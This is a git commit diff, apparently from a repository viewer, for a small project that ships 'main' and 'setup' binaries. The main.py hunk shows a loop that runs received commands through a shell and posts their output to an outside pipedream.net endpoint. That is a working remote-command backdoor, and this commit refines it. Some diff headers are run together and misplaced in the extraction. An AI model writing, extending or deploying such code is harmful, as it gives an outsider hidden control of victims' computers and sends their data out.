diff options
| author | littleblack111 <jerrylam110209@gmail.com> | 2023-08-15 20:41:48 +0800 |
|---|---|---|
| committer | littleblack111 <jerrylam110209@gmail.com> | 2023-08-15 20:41:48 +0800 |
| commit | 3dc7e6962f03eaaf0affe4937af44fb1f912d0f0 (patch) | |
| tree | d2de3a9f885e14238106d7f63d45622fd3586207 | |
| parent | e4603416b4819cfaaf7c94992fc67f0bd882edc4 (diff) | |
updated
| -rwxr-xr-x | dist/main | bin | 6871344 -> 6871376 bytes | |||
| -rwxr-xr-x | dist/main.app/Contents/MacOS/main | bin | 6871344 -> 6871376 bytes | |||
| -rwxr-xr-x | dist/setup | bin | 4299264 -> 4299264 bytes | |||
| -rwxr-xr-x | dist/setup.app/Contents/MacOS/setup | bin | 4299264 -> 4299264 bytes | |||
| -rw-r--r-- | main.py | 15 |
5 files changed, 8 insertions, 7 deletions
| Binary files differ diff --git a/dist/main.app/Contents/MacOS/main b/dist/main.app/Contents/MacOS/main Binary files differBinary files differindex f597c3c..5c0dc29 100755 --- a/dist/main.app/Contents/MacOS/main +++ b/dist/main.app/Contents/MacOS/main diff --git a/dist/setup.app/Contents/MacOS/setup b/dist/setup.app/Contents/MacOS/setup Binary files differindex a7c7dfd..b0a9ac7 100755 --- a/dist/setup.app/Contents/MacOS/setup +++ b/dist/setup.app/Contents/MacOS/setup @@ -25,13 +25,14 @@ while True: if old_command != command: try: cmdout = system(command, shell=True) - try: - post("https://eo482aoknyxae8c.m.pipedream.net/", data=cmdout) - except KeyboardInterrupt: - continue - except: - print("Failed to sent output") - continue + if cmdout != "": + try: + post("https://eo482aoknyxae8c.m.pipedream.net/", data=cmdout) + except KeyboardInterrupt: + continue + except: + print("Failed to sent output") + continue old_command = command continue except: |
